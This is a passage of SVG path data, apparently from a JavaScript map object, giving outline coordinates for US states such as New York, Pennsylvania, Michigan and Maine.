-1.13162,-3.39487 -2.74823,-0.96996 -2.42491,-3.71819 -4.20317,-1.45494 -2.90989,-1.45495 -2.58656,0 -4.04152,0.80831 -0.16166,1.93992 0.80831,0.96996 -0.48499,1.13163 -3.07154,-0.16166 -3.71819,3.55653 -3.55654,1.93992 -3.87985,0 -3.23321,1.29329 -0.32332,-2.74823 -1.6166,-1.93993 -2.90989,-1.13162 -1.6166,-1.45495 -8.08303,-3.87985 -7.59804,-1.77826 -4.36483,0.64664 -5.98144,0.48498 -5.98144,2.10159 -3.47924,0.61296 -0.23792,-8.04975 -2.58657,-1.93992 -1.77827,-1.77827 0.32332,-3.07156 10.18462,-1.29328 25.5424,-2.90989 6.78975,-0.64664 5.436,0.28027 2.58657,3.87986 1.45494,1.45494 8.09816,0.51522 10.81975,-0.64664 21.51239,-1.29329 5.44572,-0.67437 5.10758,0.20451 0.42683,2.90989 2.233,0.8083 0.23494,-4.63 -1.52822,-4.17295 1.3084,-1.43983 5.55463,0.45475 5.17314,0.32332 z m 12.54541,132.40508 2.42492,-0.64664 1.29328,-0.24249 1.45496,-2.34409 2.34408,-1.61661 1.29329,0.48499 1.69744,0.32332 0.40415,1.05079 -3.4757,1.21246 -4.2032,1.45495 -2.34408,1.21246 -0.88914,-0.88914 z m 13.4987,-5.01149 1.21246,1.0508 2.74824,-2.10159 5.33481,-4.20319 3.7182,-3.87987 2.50575,-6.6281 0.96997,-1.69744 0.16166,-3.39488 -0.72748,0.48498 -0.96996,2.82907 -1.45496,4.60733 -3.23322,5.254 -4.36484,4.20318 -3.39488,1.93993 -2.50575,1.53578 z",NH:"m 880.79902,142.42476 0.869,-1.0765 1.09022,-3.29102 -2.54308,-0.91347 -0.48499,-3.07156 -3.87985,-1.13162 -0.32332,-2.74824 -7.27475,-23.44082 -4.60142,-14.542988 -0.89708,-0.0051 -0.64664,1.616605 -0.64664,-0.484981 -0.96997,-0.969963 -1.45494,1.939925 -0.0485,5.032054 0.31165,5.667218 1.93992,2.74824 0,4.04152 -3.7182,5.06278 -2.58657,1.13164 0,1.13162 1.13163,1.77827 0,8.56802 -0.80831,9.21467 -0.16166,4.84982 0.96997,1.2933 -0.16166,4.52649 -0.48499,1.77828 0.96881,0.70922 16.78767,-4.42455 2.17487,-0.60245 1.84357,-2.77333 3.60523,-1.61312 z",MI:"M581.61931,82.059006 L 583.4483,80.001402 L 585.62022,79.201221 L 590.99286,75.314624 L 593.27908,74.743065 L 593.73634,75.200319 L 588.59232,80.344339 L 585.27728,82.287628 L 583.21967,83.202124 L 581.61931,82.059006 z M 667.79369,114.18719 L 668.44033,116.69293 L 671.67355,116.85459 L 672.96684,115.64213 C 672.96684,115.64213 672.88601,114.18719 672.56269,114.02552 C 672.23936,113.86386 670.94608,112.16642 670.94608,112.16642 L 668.76366,112.40891 L 667.14704,112.57057 L 666.82372,113.7022 L 667.79369,114.18719 z M 567.49209,111.21318 L 568.20837,110.63278 L 570.9566,109.82447 L 574.51313,107.56123 L 574.51313,106.59126 L 575.15978,105.94462 L 581.14121,104.97466 L 583.56612,103.03473 L 587.93095,100.93315 L 588.09261,99.639864 L 590.03254,96.729975 L 591.8108,95.921673 L 593.10409,94.143408 L 595.36733,91.880161 L 599.73217,89.455254 L 604.42032,88.970273 L 605.55194,90.101896 L 605.22862,91.071859 L 601.51043,92.041822 L 600.05549,95.113371 L 597.79224,95.921673 L 597.30726,98.34658 L 594.88235,101.57979 L 594.55903,104.16636 L 595.36733,104.65134 L 596.3373,103.51972 L 599.89383,100.60983 L 601.18711,101.90311 L 603.45036,101.90311 L 606.68357,102.87307 L 608.13851,104.0047 L 609.59345,107.07625 L 612.34168,109.82447 L 616.22153,109.66281 L 617.67648,108.69285 L 619.29308,109.98613 L 620.90969,110.47112 L 622.20297,109.66281 L 623.33459,109.66281 L 624.9512,108.69285 L 628.99271,105.13632 L 632.38758,104.0047 L 639.01566,103.68138 L 643.54215,101.74145 L 646.12872,100.44817 L 647.58367,100.60983 L 647.58367,106.26794 L 648.06865,106.59126 L 650.97853,107.39957 L 652.91846,106.91458 L 659.06156,105.29798 L 660.19318,104.16636 L 661.64813,104.65134 L 661.64813,111.60274 L 664.88134,114.67429 L 666.17462,115.32093 L 667.4679,116.29089 L 666.17462,116.61421 L 665.36632,116.29089 L 661.64813,115.80591 L 659.54654,116.45255 L 657.28329,116.29089 L 654.05008,117.74584 L 652.27182,117.74584 L 646.45204,116.45255 L 641.27891,116.61421 L 639.33898,119.20078 L 632.38758,119.84742 L 629.96267,120.65572 L 628.83105,123.72727 L 627.53777,124.8589 L 627.05279,124.69724 L 625.59784,123.08063 L 621.07135,125.50554 L 620.42471,125.50554 L 619.29308,123.88893 L 618.48478,124.05059 L 616.54486,128.41543 L 615.57489,132.45694 L 612.39377,139.45774 L 611.21701,138.42347 L 609.84527,137.39215 L 607.90449,127.10413 L 604.36001,125.73408 L 602.30743,123.44785 L 590.18707,120.70437 L 587.3318,119.67473 L 579.10138,117.50199 L 571.21139,116.35887 L 567.49209,111.21318 z,M697.8,177.2L694.6,168.9L692.3,159.9L689.9,156.7L687.3,154.9L685.7,156L681.8,157.8L679.9,162.8L677.1,166.5L676,167.2L674.5,166.5 C 674.5,166.5 671.9,165.1 672.1,164.4 C 672.3,163.8 672.6,159.4 672.6,159.4L676,158.1L676.8,154.7L677.4,152.1L679.9,150.5L679.5,140.5L677.9,138.2L676.6,137.4L675.8,135.3L676.6,134.5L678.2,134.8L678.4,133.2L676,131L674.7,128.4L672.1,128.4L667.6,126.9L662.1,123.5L659.3,123.5L658.7,124.2L657.7,123.7L654.6,121.4L651.7,123.2L648.8,125.5L649.2,129L650.1,129.3L652.2,129.8L652.7,130.6L650.1,131.4L647.5,131.8L646.1,133.5L645.8,135.6L646.1,137.3L646.4,142.8L642.8,144.9L642.2,144.7L642.2,140.5L643.5,138.1L644.1,135.6L643.3,134.8L641.4,135.6L640.4,139.8L637.7,141L635.9,142.9L635.7,143.9L636.4,144.7L635.7,147.3L633.5,147.8L633.5,148.9L634.3,151.3L633.1,157.5L631.5,161.5L632.2,166.2L632.7,167.3L631.9,169.8L631.5,170.6L631.2,173.3L634.8,179.3L637.7,185.8L639.1,190.6L638.3,195.3L637.3,201.3L634.9,206.4L634.6,209.2L631.3,212.3L635.8,212.1L657.2,209.9L664.4,208.9L664.5,210.5L671.4,209.3L681.7,207.8L685.5,207.4L685.7,206.8L685.8,205.3L687.9,201.6L689.9,199.9L689.7,194.8L691.3,193.2L692.4,192.9L692.6,189.3L694.2,186.3L695.2,186.9L695.4,187.5L696.2,187.7L698.1,186.7L697.8,177.2z",VT:"m 844.48416,154.05791 0.3167,-5.34563 -2.89071,-10.78417 -0.64664,-0.32332 -2.9099,-1.29329 0.8083,-2.90989 -0.8083,-2.10159 -2.70005,-4.63998 0.96997,-3.87986 -0.80831,-5.17315 -2.42491,-6.46644 -0.80557,-4.92251 26.41936,-6.73182 0.3087,5.52221 1.91626,2.74223 0,4.04152 -3.70715,5.05799 -2.58657,1.14267 -0.011,1.12057 1.30997,1.51912 -0.31093,8.09797 -0.60943,9.25886 -0.22795,5.55694 0.96996,1.29329 -0.16166,4.57069 -0.48498,1.68989 1.01418,0.72716 -7.43755,1.50671 -4.50174,0.72383 z",ME:"m 922.83976,78.830719 1.93993,2.101586 2.26325,3.718191 0,1.939926 -2.10159,4.688153 -1.93993,0.646642 -3.39487,3.071549 -4.84981,5.496454 c 0,0 -0.64664,0 -1.29328,0 -0.64664,0 -0.96997,-2.101584 -0.96997,-2.101584 l -1.77826,0.16166 -0.96996,1.454944 -2.42491,1.45495 -0.96996,1.45494 1.6166,1.45494 -0.48498,0.64665 -0.48498,2.74822 -1.93993,-0.16166 0,-1.6166 -0.32332,-1.29329 -1.45494,0.32333 -1.77827,-3.23321 -2.10158,1.29328 1.29328,1.45494 0.32332,1.13163 -0.8083,1.29328 0.32332,3.07155 0.16166,1.6166 -1.6166,2.58657 -2.90989,0.48498 -0.32332,2.90989 -5.3348,3.07155 -1.29328,0.48498 -1.61661,-1.45494 -3.07155,3.55653 0.96997,3.23321 -1.45495,1.29328 -0.16166,4.36483 -1.12328,6.25936 -2.46225,-1.15595 -0.48499,-3.07156 -3.87985,-1.13163 -0.32332,-2.74824 -7.27475,-23.44082 -4.69858,-14.639742 1.42054,-0.118165 1.51379,0.409899 0,-2.586568 1.3083,-4.496456 2.58657,-4.688153 1.45495,-4.041512 -1.93993,-2.424907 0,-5.981437 0.8083,-0.969963 0.80831,-2.748228 -0.16166,-1.454944 -0.16167,-4.849814 1.77827,-4.849814 2.90989,-8.891326 2.10158,-4.203172 1.29329,0 1.29328,0.16166 0,1.131623 1.29329,2.263247 2.74822,0.646642 0.80831,-0.808303 0,-0.969962 4.04151,-2.909889 1.77826,-1.778265 1.45495,0.161661 5.98143,2.424907 1.93993,0.969962 9.05299,29.907187 5.98143,0 0.80831,1.939926 0.16166,4.849814 2.90988,2.263246 0.80831,0 0.16166,-0.484981 -0.48498,-1.131623 2.74822,-0.161661 z m -20.93175,30.147531 1.53578,-1.53578 1.37412,1.0508 0.56581,2.42492 -1.69744,0.88913 -1.77827,-2.82907 z m 6.70893,-5.90062 1.77827,1.8591 c 0,0 1.29329,0.0808 1.29329,-0.2425 0,-0.32332 0.24249,-2.02076 0.24249,-2.02076 l 0.88914,-0.8083 -0.80831,-1.77828 -2.02076,0.72748 -1.37412,2.26326 z",RI:"m 874.07001,178.89536 -3.69579,-14.95599 6.26928,-1.84514 2.19113,1.92712 3.30649,4.32065 2.6879,4.40209 -2.99934,1.62479 -1.29328,-0.16166 -1.13162,1.77827 -2.42491,1.93992 -2.90986,0.96995 z",NY:"m 830.37944,188.7456 -1.13163,-0.96996 -2.58658,-0.16166 -2.26324,-1.93992 -1.63061,-6.12913 -3.45846,0.0905 -2.44371,-2.7082 -19.38532,4.38194 -43.00178,8.72969 -7.52965,1.22799 -0.73816,-6.46834 1.4281,-1.12538 1.29328,-1.13162 0.96997,-1.61661 1.77826,-1.13162 1.93993,-1.77827 0.48498,-1.6166 2.10158,-2.74823 1.13163,-0.96996 -0.16166,-0.96997 -1.29329,-3.07154 -1.77826,-0.16166 -1.93993,-6.1431 2.90989,-1.77827 4.36483,-1.45494 4.04152,-1.29329 3.23321,-0.48498 6.30475,-0.16166 1.93993,1.29329 1.6166,0.16166 2.10159,-1.29329 2.58657,-1.13162 5.17313,-0.48498 2.10159,-1.77827 1.77826,-3.23321 1.61661,-1.93992 2.10158,0 1.93993,-1.13163 0.16166,-2.26324 -1.45494,-2.10159 -0.32332,-1.45494 1.13162,-2.10159 0,-1.45494 -1.77827,0 -1.77826,-0.8083 -0.8083,-1.13163 -0.16166,-2.58657 5.81977,-5.49645 0.64664,-0.8083 1.45495,-2.90989 2.90989,-4.5265 2.74823,-3.71819 2.10158,-2.4249 2.4151,-1.82561 3.08136,-1.24594 5.49645,-1.29329 3.23321,0.16166 4.5265,-1.45494 7.56519,-2.07117 0.51979,4.97967 2.42492,6.46644 0.8083,5.17315 -0.96996,3.87986 2.58657,4.5265 0.8083,2.10159 -0.8083,2.9099 2.9099,1.29328 0.64664,0.32332 3.07156,10.99294 -0.53629,5.05967 -0.48498,10.83127 0.8083,5.49647 0.8083,3.55654 1.45495,7.27474 0,8.08304 -1.13163,2.26325 1.83933,1.99279 0.79655,1.67842 -1.93992,1.77827 0.32332,1.29328 1.29328,-0.32332 1.45495,-1.29328 2.26324,-2.58657 1.13163,-0.64664 1.6166,0.64664 2.26325,0.16166 7.92136,-3.87985 2.90989,-2.74823 1.29328,-1.45494 4.20317,1.6166 -3.39487,3.55653 -3.87985,2.90989 -7.11306,5.33479 -2.58656,0.96997 -5.81978,1.93992 -4.04151,1.13163 -1.17474,-0.53293 -0.24402,-3.68853 0.48498,-2.74824 -0.16166,-2.10158 -2.81351,-1.699 -4.5265,-0.96997 -3.87986,-1.13162 -3.7182,-1.77828 z",PA:"m 825.1237,224.69205 1.30842,-0.271 2.32953,-1.25325 1.21188,-2.48307 1.61661,-2.26325 3.23321,-3.07156 0,-0.8083 -2.42491,-1.6166 -3.55654,-2.42492 -0.96996,-2.58657 -2.74824,-0.32332 -0.16166,-1.13163 -0.8083,-2.74823 2.26326,-1.13162 0.16166,-2.42492 -1.2933,-1.29329 0.16166,-1.61661 1.93994,-3.07155 0,-3.07156 2.69763,-2.64588 -0.92028,-0.67498 -2.52408,-0.19291 -2.29449,-1.93992 -1.54992,-6.11606 -3.50458,0.10052 -2.45523,-2.70333 -18.09099,4.19777 -43.00178,8.72969 -8.89135,1.45494 -0.62067,-6.52139 -5.36253,5.06765 -1.29329,0.48498 -4.20229,3.00889 2.91076,19.13745 2.48166,9.72936 3.5718,19.26149 3.26931,-0.63768 11.94358,-1.50247 37.92663,-7.6652 14.87621,-2.82332 8.30035,-1.62236 0.26711,-0.23853 2.1016,-1.61662 2.10158,-0.68084 z",NJ:"m 829.67942,188.46016 -2.32255,2.73427 0,3.07156 -1.93994,3.07155 -0.16166,1.61662 1.2933,1.29328 -0.16166,2.42492 -2.26326,1.13162 0.8083,2.74823 0.16166,1.13163 2.74824,0.32332 0.96996,2.58657 3.55654,2.42492 2.42491,1.6166 0,0.80831 -2.98321,2.69656 -1.61661,2.26324 -1.45495,2.74824 -2.26325,1.29328 -0.46245,1.60248 -0.2425,1.21246 -0.60923,2.60674 1.09227,2.24419 3.23321,2.90989 4.84981,2.26325 4.04151,0.64664 0.16166,1.45494 -0.8083,0.96996 0.32332,2.74823 0.8083,0 2.10159,-2.4249 0.8083,-4.84982 2.74823,-4.04151 3.07155,-6.46642 1.13162,-5.49645 -0.64664,-1.13163 -0.16166,-9.37631 -1.61661,-3.39486 -1.13162,0.8083 -2.74823,0.32332 -0.48498,-0.48498 1.13163,-0.96997 2.10158,-1.93992 0.0631,-1.09383 -0.38439,-3.43384 0.57337,-2.74824 -0.11747,-1.96901 -2.80754,-1.75035 -5.09214,-1.17576 -4.13744,-1.38163 -3.58563,-1.64569 z",DE:"m 825.6261,228.2791 0.36831,-2.14689 0.37507,-1.69105 -1.623,0.39776 -1.61546,0.46756 -2.20626,1.7643 1.72012,5.04288 2.26326,5.65812 2.10158,9.69965 1.61662,6.30478 5.01148,-0.16166 6.14212,-1.18068 -2.26423,-7.38627 -0.96997,0.48498 -3.55653,-2.4249 -1.77826,-4.68816 -1.93993,-3.55653 -3.14712,-2.87031 -0.86416,-2.09812 0.36636,-1.61546 z",MD:"m 839.79175,252.41476 -6.00855,1.20384 -5.1429,0.11746 -1.84356,-6.92233 -1.92481,-9.16932 -2.57262,-6.18845 -1.28838,-4.39833 -7.50602,1.62236 -14.87621,2.82332 -37.45143,7.5509 1.1313,5.01166 0.96996,5.65811 0.32332,-0.32332 2.1016,-2.4249 2.26324,-2.61766 2.42491,-0.61556 1.45496,-1.45495 1.77826,-2.58657 1.29328,0.64665 2.90989,-0.32333 2.58658,-2.10158 2.00689,-1.45327 1.84523,-0.48498 1.64435,1.12995 2.90989,1.45494 1.93992,1.77827 1.21246,1.53578 4.12235,1.69743 0,2.90989 5.49646,1.29329 1.14444,0.54198 1.4119,-2.02832 2.88197,1.97016 -1.27817,2.48193 -0.76527,3.98566 -1.77826,2.58657 0,2.10159 0.64664,1.77827 5.06395,1.35569 4.3111,-0.0617 3.07154,0.96997 2.10159,0.32332 0.96996,-2.10159 -1.45494,-2.10158 0,-1.77827 -2.42491,-2.10159 -2.10158,-5.49645 1.29328,-5.3348 -0.16166,-2.10158 -1.29328,-1.29329 c 0,0 1.45494,-1.6166 1.45494,-2.26324 0,-0.64665 0.48498,-2.10159 0.48498,-2.10159 l 1.93993,-1.29328 1.93992,-1.61661 0.48498,0.96997 -1.45494,1.6166 -1.29328,3.71819 0.32332,1.13162 1.77826,0.32332 0.48498,5.49646 -2.10158,0.96996 0.32332,3.55653 0.48498,-0.16166 1.13162,-1.93992 1.61661,1.77826 -1.61661,1.29329 -0.32332,3.39487 2.58657,3.39487 3.87985,0.48498 1.61661,-0.8083 3.23655,4.18293 1.35835,0.5363 6.65367,-2.79695 2.00758,-4.02387 -0.43596,-4.90798 z m -15.96958,9.02872 1.13162,2.50575 0.16166,1.77827 1.13163,1.8591 c 0,0 0.88914,-0.88914 0.88914,-1.21246 0,-0.32332 -0.72747,-3.07156 -0.72747,-3.07156 l -0.72748,-2.34409 -1.8591,0.48499 z",VA:"m 831.63885,266.06892 -0.14391,-1.94703 6.45343,-2.54988 -0.77041,3.21784 -2.91995,3.77911 -0.41809,4.58582 0.46175,3.39044 -1.82797,4.97816 -2.16427,1.91614 -1.47034,-4.64081 0.44589,-5.44911 1.587,-4.18307 0.76687,-3.09761 z m 3.34019,28.30136 -58.17418,12.57543 -37.42697,5.27907 -6.67833,-0.37518 -2.58525,1.92638 -7.33913,0.22069 -8.38211,0.97767 -10.91496,1.61462 10.46943,-5.6112 -0.0131,-2.07493 1.52005,-2.14613 10.55378,-11.50143 3.94672,4.47746 3.78301,0.96398 2.54346,-1.14032 2.23722,-1.31116 2.53661,1.34352 3.91417,-1.42776 1.87673,-4.55634 2.60092,0.54002 2.85524,-2.13125 1.79927,0.4936 2.82721,-3.67657 0.34825,-2.08311 -0.96366,-1.27557 1.00277,-1.86663 5.27427,-12.27715 0.61677,-5.73508 1.22889,-0.52354 2.17853,2.44287 3.93586,-0.30117 1.92921,-7.57363 2.79399,-0.56086 1.04975,-2.74107 2.57982,-2.34688 2.77183,-5.69519 0.0849,-5.06755 9.82151,3.82282 c 0.68085,0.34042 0.83288,-5.04915 0.83288,-5.04915 l 3.65256,1.59833 0.0683,2.93816 5.78425,1.29949 2.13295,1.1762 1.65992,2.05569 -0.65455,3.64867 -1.94744,2.59098 0.10985,2.05907 0.58896,1.85291 4.97875,1.26843 4.45127,0.0399 3.06883,0.95864 1.94351,0.3093 0.71481,3.08846 3.19044,0.40253 0.86807,1.20002 -0.43949,4.69008 1.37473,1.10255 -0.47895,1.93039 1.22941,0.78977 -0.2218,1.3846 -2.69399,-0.0949 0.089,1.61552 2.28099,1.54287 0.12154,1.4119 1.77311,1.78538 0.49179,2.52413 -2.55304,1.38131 1.57222,1.4943 5.80102,-1.68583 3.60762,6.01193 z",WV:"m 761.18551,238.96731 1.11201,4.94453 1.08344,6.03133 2.13029,-2.58034 2.26324,-3.07156 2.53838,-0.61555 1.45495,-1.45494 1.77827,-2.58657 1.44498,0.64664 2.90989,-0.32332 2.58658,-2.10159 2.00689,-1.45326 1.84523,-0.48499 1.30392,1.01647 3.64325,1.82163 1.93993,1.77827 1.37412,1.29328 -0.76172,5.55494 -5.83491,-2.54122 -4.24525,-1.62202 -0.10114,5.17843 -2.74764,5.53673 -2.53003,2.42666 -1.19209,2.74939 -2.64358,0.5001 -0.89784,3.60188 -1.04323,3.94967 -3.96824,0.34074 -2.32373,-2.43888 -1.07115,0.55941 -0.63268,5.4697 -1.35029,3.5345 -4.9584,10.95497 0.89669,1.1607 -0.20586,1.90854 -2.80869,3.88447 -1.8085,-0.54429 -2.96805,2.15974 -2.54238,-0.57221 -1.99923,4.55557 c 0,0 -3.25931,1.43022 -3.92291,1.36772 -0.16051,-0.0151 -2.4691,-1.2491 -2.4691,-1.2491 l -2.33652,1.37937 -2.4098,1.0444 -3.74469,-0.88912 -1.1214,-1.16828 -2.19222,-3.02336 -3.14259,-1.98812 -1.71157,-3.62324 -4.28488,-3.46819 -0.64665,-2.26325 -2.58657,-1.45495 -0.80831,-1.6166 -0.24249,-5.25398 2.18242,-0.0808 1.93994,-0.8083 0.16166,-2.74823 1.6166,-1.45495 0.16166,-5.01148 0.96996,-3.87986 1.29329,-0.64664 1.29328,1.13162 0.48499,1.77827 1.77827,-0.96997 0.48498,-1.6166 -1.13162,-1.77827 0,-2.42491 0.96996,-1.29329 2.26325,-3.39487 1.29328,-1.45494 2.1016,0.48498 2.26324,-1.61662 3.07155,-3.39487 2.26326,-3.87986 0.32332,-5.65811 0.48498,-5.01149 0,-4.68816 -1.13162,-3.07155 0.96996,-1.45496 1.28348,-1.29328 3.49125,19.82712 4.63101,-0.75115 12.42832,-1.79965 z",OH:"m 735.32497,193.32832 -6.09354,4.05335 -3.87985,2.26325 -3.39487,3.71819 -4.04151,3.87985 -3.23321,0.8083 -2.90989,0.48498 -5.49646,2.58657 -2.10158,0.16166 -3.39487,-3.07155 -5.17314,0.64665 -2.58656,-1.45495 -2.38107,-1.35083 -4.89257,0.70341 -10.18462,1.61661 -11.20687,2.18473 1.29329,14.63028 1.77827,13.74117 2.58656,23.4408 0.56582,4.83117 4.12235,-0.12902 2.42491,-0.80831 3.3638,1.50314 2.07049,4.36483 5.13894,-0.0171 1.89174,2.1187 1.76117,-0.0653 2.53839,-1.34146 2.50417,0.3715 5.42128,0.48268 1.72697,-2.13268 2.34565,-1.29328 2.07049,-0.68085 0.64664,2.74824 1.77828,0.96996 3.47569,2.34407 2.18242,-0.0808 1.33312,-0.49248 0.18471,-2.76153 1.58536,-1.45496 0.0992,-4.79272 c 0,0 1.02396,-4.10906 1.02396,-4.10906 l 1.29927,-0.60128 1.32135,1.14774 0.53815,1.69702 1.71913,-1.03742 0.43898,-1.46075 -1.11669,-1.90306 0.0663,-2.31443 0.749,-1.07231 2.15276,-3.30648 1.05022,-1.54334 2.10159,0.48498 2.26325,-1.61661 3.07155,-3.39487 2.77149,-4.07873 0.32033,-5.05551 0.48498,-5.01149 -0.17678,-5.30688 -0.95484,-2.89478 0.35124,-1.18978 1.80439,-1.75011 -2.28879,-9.04733 -2.90989,-19.36177 z",IN:"m 619.56954,299.97132 0.0653,-2.85858 0.48499,-4.52651 2.26324,-2.90988 1.77828,-3.87987 2.58656,-4.20317 -0.48498,-5.81979 -1.77826,-2.74823 -0.32332,-3.23321 0.8083,-5.49647 -0.48498,-6.95141 -1.2933,-16.00441 -1.29328,-15.35776 -0.97047,-11.72002 3.07106,0.88951 1.45495,0.96996 1.13162,-0.32332 2.10159,-1.93992 2.82957,-1.61699 5.0928,-0.16204 21.98587,-2.26326 5.57573,-0.53316 1.50314,15.95621 4.25135,36.84155 0.59846,5.7716 -0.3715,2.26325 1.22798,1.79537 0.0964,1.37255 -2.52129,1.59951 -3.53943,1.55131 -3.20213,0.55028 -0.59846,4.86693 -4.57469,3.31247 -2.79642,4.01044 0.32332,2.37673 -0.58134,1.5342 -3.32647,0 -1.58553,-1.6166 -2.49331,1.2622 -2.68296,1.50314 0.16167,3.05445 -1.19379,0.25803 -0.46788,-1.01814 -2.16688,-1.50314 -3.25032,1.34148 -1.55131,3.00625 -1.43784,-0.8083 -1.45495,-1.59951 -4.46434,0.48499 -5.59283,0.96996 -2.90989,1.55132 z",IL:"m 619.54145,300.34244 0.0312,-3.22971 0.56739,-4.64596 2.33253,-2.91586 1.86665,-4.07576 2.23302,-3.99533 -0.3715,-5.2524 -2.00521,-3.54257 -0.0964,-3.34668 0.69483,-5.26951 -0.82541,-7.17837 -1.06634,-15.77745 -1.29328,-15.01734 -0.92228,-11.6392 -0.27251,-0.92139 -0.8083,-2.58657 -1.29328,-3.71819 -1.61661,-1.77827 -1.45494,-2.58656 -0.23357,-5.48896 -45.79643,2.59825 0.22862,2.37195 2.28623,0.68587 0.91448,1.14311 0.45725,1.82898 3.88658,3.42934 0.68588,2.28623 -0.68588,3.42934 -1.82898,3.65796 -0.68586,2.51484 -2.28623,1.82899 -1.82898,0.68587 -5.25832,1.37173 -0.68587,1.82898 -0.68587,2.05761 0.68587,1.37174 1.82898,1.60036 -0.22862,4.1152 -1.82899,1.60036 -0.68586,1.60036 0,2.74347 -1.82898,0.45724 -1.60036,1.14312 -0.22862,1.37174 0.22862,2.0576 -1.71467,1.31457 -1.0288,2.80064 0.45724,3.65795 2.28623,7.31593 7.31593,7.54455 5.48693,3.65796 -0.22862,4.34383 0.9145,1.37174 6.40143,0.45724 2.74347,1.37174 -0.68586,3.65796 -2.28623,5.94419 -0.68587,3.20072 2.28622,3.88658 6.40144,5.25832 4.57246,0.68587 2.05759,5.0297 2.05761,3.20071 -0.91449,2.97209 1.60036,4.11521 1.82898,2.05761 1.41403,-0.88069 0.90766,-2.07479 2.21308,-1.7472 2.13147,-0.6144 2.60253,1.1798 3.62699,1.3757 1.18895,-0.29823 0.19987,-2.25845 -1.2873,-2.41179 0.30422,-2.37672 1.8384,-1.34745 3.02254,-0.81029 1.2609,-0.45852 -0.61261,-1.38688 -0.79137,-2.35437 1.4326,-0.98096 1.15747,-3.21403 z",CT:"m 874.06831,178.86288 -3.67743,-14.87881 -4.71882,0.92031 -21.22878,4.74309 1.00019,3.22567 1.45495,7.27474 0.17678,8.96692 -1.22002,2.17487 1.92079,1.93234 4.27153,-3.90564 3.55653,-3.23321 1.93992,-2.10159 0.80831,0.64664 2.74822,-1.45494 5.17314,-1.13162 7.79469,-3.17877 z",WI:"m 615.06589,197.36866 -0.0667,-3.15742 -1.17911,-4.5265 -0.64664,-6.14309 -1.13162,-2.42491 0.96996,-3.07155 0.8083,-2.90989 1.45495,-2.58656 -0.64665,-3.39487 -0.64664,-3.55653 0.48498,-1.77827 1.93993,-2.42491 0.16166,-2.74823 -0.8083,-1.29328 0.64664,-2.58657 -0.45252,-4.17071 2.74823,-5.65811 2.90989,-6.78974 0.16166,-2.26325 -0.32332,-0.96996 -0.80831,0.48498 -4.20317,6.30476 -2.74823,4.04151 -1.93992,1.77827 -0.8083,2.26324 -1.95495,0.8083 -1.13162,1.93993 -1.45495,-0.32332 -0.16166,-1.77827 1.29329,-2.4249 2.10158,-4.68816 1.77827,-1.6166 0.99083,-2.35785 -2.56045,-1.90134 -1.97482,-10.36699 -3.54747,-1.34198 -1.94626,-2.30833 -12.12971,-2.72164 -2.87589,-1.01205 -8.21312,-2.16729 -7.91792,-1.15875 -3.76516,-5.13067 -0.7504,0.55401 -1.19791,-0.16166 -0.64665,-1.13162 -1.33401,0.29655 -1.13163,0.16166 -1.77826,0.96996 -0.96997,-0.64664 0.64665,-1.93993 1.93992,-3.07155 1.13162,-1.13162 -1.93992,-1.45494 -2.10159,0.8083 -2.90989,1.93992 -7.43638,3.23321 -2.90989,0.64664 -2.90988,-0.48498 -0.98173,-0.87825 -2.1167,2.83518 -0.22862,2.74347 0,8.45903 -1.14312,1.60037 -5.25832,3.88657 -2.28622,5.94419 0.45724,0.22862 2.51485,2.05761 0.68586,3.20072 -1.82898,3.20071 0,3.88659 0.45725,6.63005 2.97209,2.9721 3.42935,0 1.82898,3.20072 3.42933,0.45724 3.88659,5.71557 7.0873,4.11521 2.0576,2.74347 0.9145,7.43024 0.68586,3.31502 2.28623,1.60036 0.22862,1.37174 -2.0576,3.42933 0.22862,3.20073 2.51485,3.88658 2.51485,1.14311 2.97209,0.45724 1.34234,1.38012 45.29836,-2.66945 z",
NC:"m 834.98153,294.31554 2.085,4.91735 3.55653,6.46642 2.4249,2.42491 0.64664,2.26325 -2.4249,0.16166 0.8083,0.64664 -0.32332,4.20317 -2.58657,1.29328 -0.64664,2.10159 -1.29328,2.90989 -3.7182,1.6166 -2.4249,-0.32332 -1.45495,-0.16166 -1.6166,-1.29328 0.32332,1.29328 0,0.96997 1.93993,0 0.8083,1.29328 -1.93993,6.30476 4.20317,0 0.64665,1.6166 2.26324,-2.26324 1.29329,-0.48499 -1.93993,3.55653 -3.07155,4.84982 -1.29328,0 -1.13163,-0.48498 -2.74822,0.64664 -5.17314,2.42491 -6.46642,5.33479 -3.39487,4.68815 -1.93992,6.46642 -0.48498,2.42491 -4.68816,0.48498 -5.45313,1.33666 -9.94641,-8.20253 -12.60954,-7.59805 -2.90989,-0.80831 -12.60953,1.45495 -4.27646,0.75015 -1.6166,-3.23322 -2.97036,-2.1167 -16.48939,0.48498 -7.27474,0.8083 -9.05299,4.52651 -6.14311,2.58656 -21.17755,2.58658 0.50009,-4.05433 1.77827,-1.45494 2.74824,-0.64665 0.64664,-3.7182 4.20318,-2.74822 3.87985,-1.45496 4.20319,-3.55653 4.36483,-2.10159 0.64664,-3.07156 3.87986,-3.87985 0.64664,-0.16166 c 0,0 0,1.13163 0.80831,1.13163 0.8083,0 1.93993,0.32332 1.93993,0.32332 l 2.26325,-3.55654 2.10159,-0.64665 2.26324,0.32333 1.61662,-3.55653 2.90989,-2.58658 0.48498,-2.10159 0.1875,-3.64819 4.2765,-0.0225 7.19859,-0.85579 15.75723,-2.25243 15.13604,-2.08657 21.64048,-4.71935 19.98332,-4.25857 11.17694,-2.40581 5.04998,-1.15688 z m 4.27046,33.20657 2.58658,-2.50575 3.15238,-2.58658 1.53578,-0.64664 0.16166,-2.02076 -0.64664,-6.14312 -1.45495,-2.34408 -0.64665,-1.8591 0.72748,-0.2425 2.74824,5.49648 0.40415,4.44567 -0.16166,3.39489 -3.39488,1.53577 -2.82907,2.42492 -1.13162,1.21246 -1.0508,-0.16166 z",DC:"m 805.81945,250.84384 -1.85828,-1.82417 -1.23263,-0.68629 1.44301,-2.02247 2.88909,1.9485 -1.24119,2.58443 z",MA:"m 899.62349,173.25394 2.17192,-0.68588 0.45726,-1.71467 1.0288,0.11431 1.0288,2.28624 -1.25742,0.45724 -3.8866,0.11432 0.45724,-0.57156 z m -9.37354,0.80018 2.28622,-2.62917 1.60037,0 1.82899,1.48605 -2.40054,1.0288 -2.17192,1.0288 -1.14312,-0.91448 z m -34.79913,-21.98819 17.64687,-4.64068 2.26326,-0.64664 1.91408,-2.79571 3.73677,-1.66331 2.88924,4.41284 -2.42491,5.17314 -0.32332,1.45494 1.93993,2.58657 1.13162,-0.8083 1.77827,0 2.26324,2.58656 3.87986,5.98144 3.55653,0.48498 2.26324,-0.96996 1.77827,-1.77827 -0.80831,-2.74822 -2.10158,-1.61661 -1.45495,0.8083 